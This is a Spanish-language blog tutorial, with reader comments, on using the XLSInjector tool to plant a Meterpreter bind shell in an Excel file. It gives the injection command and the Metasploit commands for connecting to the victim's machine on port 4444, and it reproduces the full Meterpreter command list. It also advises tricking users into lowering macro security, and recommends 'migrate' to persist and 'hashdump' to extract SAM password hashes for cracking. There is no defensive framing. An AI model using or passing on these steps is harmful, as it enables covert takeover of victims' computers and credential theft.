XLSInjector – Inyectar Shell Meterpreter en Archivos Excel

Para nadie es un secreto que la suite ofimática mas utilizada en el mundo es Microsoft Office, que se lleva la mayor parte de la cuota de mercado en entornos Windows y Mac, de esta suite, las aplicaciones mas utilizadas son Microsoft Word, Microsoft Excel y Microsoft Power Point que casi siempre están instaladas en la mayoría de computadores.

En esta ocasión les voy a hablar sobre XLSInjector, una herramienta creada en perl por keith lee que permite inyectar en un archivo XLS de Microsoft Excel una consola meterpreter (ejecutando todo en la memoria ram sin crear procesos adicionales), permitiéndonos acceder a el remotamente por el puerto 4444 y tomar total control de la maquina.

xlsinjector

Para que XLSInjector funcione adecuadamente, necesitamos lo siguiente:

Después de tener todos los elementos necesarios para el correcto funcionamiento del XLSInjector pasamos a su ejecución, que es bastante simple:

perl xlsinjector.pl -i ArchivoDeExcel.xls -o ArchivoConShellDeExcel.xls

Pero no todo es tan simple con esta herramienta, resulta que XLSInjector NO salta los filtros de scripting puestos por Microsoft en su suite ofimática, por lo que toca convencer, por medio de ingeniería social o cualquier otra técnica que el mismo usuario ponga la seguridad de las macros en baja y que “confié” en los proyectos de VB, algo complicado pero que seguro con algo de presunción se consigue que realicen estas tareas.

Suponiendo que ya se realizaron las configuraciones adecuadas para el correcto funcionamiento del XLSInjector vamos a acceder remotamente a nuestra shell meterpreter mediante la consola del Metasploit Framework

  • iniciamos la consola del metasploit
  • una vez en la consola de MSF cargamos el payload de meterpreter
    set payload windows/meterpreter/bind_tcp
  • lo configuramos adecuadamente
    set RHOST ipdelpcvictima
    set RPOT 4444
  • luego lo lanzamos
    exploit

Con estos simples pasos tenemos a nuestra disposición una shell meterpreter en el equipo remoto, hay que recordar que las shell meterpreter son diferentes a las del sistema operativo, y tienen su propio listado de comandos, puedes sacar el listado de comandos disponibles para la shell meterpreter escribiendo “?” y enter, te arrojara algo parecido a esto:

Core Commands
=============

Command Description
——- ———–
? Help menu
channel Displays information about active channels
close Closes a channel
exit Terminate the meterpreter session
help Help menu
interact Interacts with a channel
irb Drop into irb scripting mode
migrate Migrate the server to another process
quit Terminate the meterpreter session
read Reads data from a channel
run Executes a meterpreter script
use Load a one or more meterpreter extensions
write Writes data to a channel

Stdapi: File system Commands
============================

Command Description
——- ———–
cat Read the contents of a file to the screen
cd Change directory
download Download a file or directory
edit Edit a file
getlwd Print local working directory
getwd Print working directory
lcd Change local working directory
lpwd Print local working directory
ls List files
mkdir Make directory
pwd Print working directory
rmdir Remove directory
upload Upload a file or directory

Stdapi: Networking Commands
===========================

Command Description
——- ———–
ipconfig Display interfaces
portfwd Forward a local port to a remote service
route View and modify the routing table

Stdapi: System Commands
=======================

Command Description
——- ———–
execute Execute a command
getpid Get the current process identifier
getuid Get the user that the server is running as
kill Terminate a process
ps List running processes
reboot Reboots the remote computer
reg Modify and interact with the remote registry
rev2self Calls RevertToSelf() on the remote machine
shutdown Shuts down the remote computer
sysinfo Gets information about the remote system, such as OS

Stdapi: User interface Commands
===============================

Command Description
——- ———–
idletime Returns the number of seconds the remote user has been idle
uictl Control some of the user interface components

Priv: Password database Commands
================================

Command Description
——- ———–
hashdump Dumps the contents of the SAM database

Priv: Timestomp Commands
========================

Command Description
——- ———–
timestomp Manipulate file MACE attributes

Hay que resaltar la potencia de meterpreter para inyectar dll’s, subir ficheros, ejecutar scripts, te recomiendo que le des una leída a estos documentos (Meterpreter.pdf y MSF3-met.html) para que aprendas mas sobre los comandos del meterpreter.

Te recomiendo utilizar el comando migrate tan pronto puedas para evitar que tan pronto cierren el archivo XLS se cierre con el tu shell, otro comando recomendado es hashdump que te arroja el contenido del archivo SAM en la maquina victima para que posteriormente puedas obtener la clave de los usuarios con herramientas como l0phtcrack o cain&abel.

Por ultimo les dejo el video del autor, donde nos enseña el funcionamiento del XLSInjector


Autor: DragoN

Ingeniero en Sistemas y Telecomunicaciones de la Universidad de Manizales. Information Security Researcher con más de 10 años de experiencias en Ethical Hacking, Pen Testing y Análisis Forense. Docente Universitario en Pre y Post-Grado, Speaker y Organizador de diferentes eventos de Seguridad Informática, Fundador del DragonJAR Security Conference y Fundador de DragonJAR SAS y de La Comunidad DragonJAR, una de las comunidades de seguridad informática mas grandes de habla hispana y referente en el sector.

Compartir este Artículo
  • Excelente, voy a probar y posteo mis resultados mas tarde.
    Gracias por la info 😉

    Saludos

  • Bett0

    Ah jajajaja pero que la leche, cada dia mas y mas buenos, y aqui en mi ciudad solo rascando como hacer paginitas y la seguridad bien gracias.
    Pero el aprender y saber cada dia es como una adiccion pero mas fuerte que las demas

  • Bett0

    Ohh probando perjudico la U un rato.
    Probando el XLS Injection me salio un error:

    C:\Documents and Settings\Administrador\Mis documentos> perl xlsinjector.pl -i INF.xls -o 123.xls
    [*] xlsinjector.pl 0.1 [-u][-i][-o]
    -u Website to download excel file from
    -i Local excel file to use
    -o Output filename to use
    [*] Mail bug reports and suggestions to
    Can’t call method “VBComponents” on an undefined value at xlsinjector.pl line 62

    No se si se me puede ayudar cual seria el problema en la compilacion del codigo de xlsinjector.pl
    Disculpen si esto es muy basico pero no me ubico bien en Perl

  • carina

    como funcionaría con un equipo conectado a una red ? intentare explicarme

    Al parecer esto funciona cuando:

    usuario ——-(intert)——- victima

    Mi pregunta es como funcionaria si:

    usuario ——-(inter)——–(router)——–victima (parte de la red con ip digamos 10.0.0.5)

  • ALGUIEN SABE Q DEMONIOS ES EL “SHELL” SI SIP ESCRIBANME A MI TWITTER O MI CORREO OCUPO NETO LA INFO SE LO AGRADECERIA MUCHO

  • Arthusu

    no se que pasa me sale lo siguiente:

    [*] Mail bug reports and suggestions to
    Can’t call method “VBComponents” on an undefined value at C:\Documents and Setti
    ngs\Administrador\Mis documentos\downloads\xlsinjector.pl line 62.

    Ojala me puedan ayudar muchas gracias me gusta mucho su blog 😀

Siguenos!

O Puedes Subscribete

ANTES DE

SALIRTE ...

NO TE

ARREPENTIRÁS

!Gracias¡

NO OLVIDES NUESTRAS REDES SOCIALES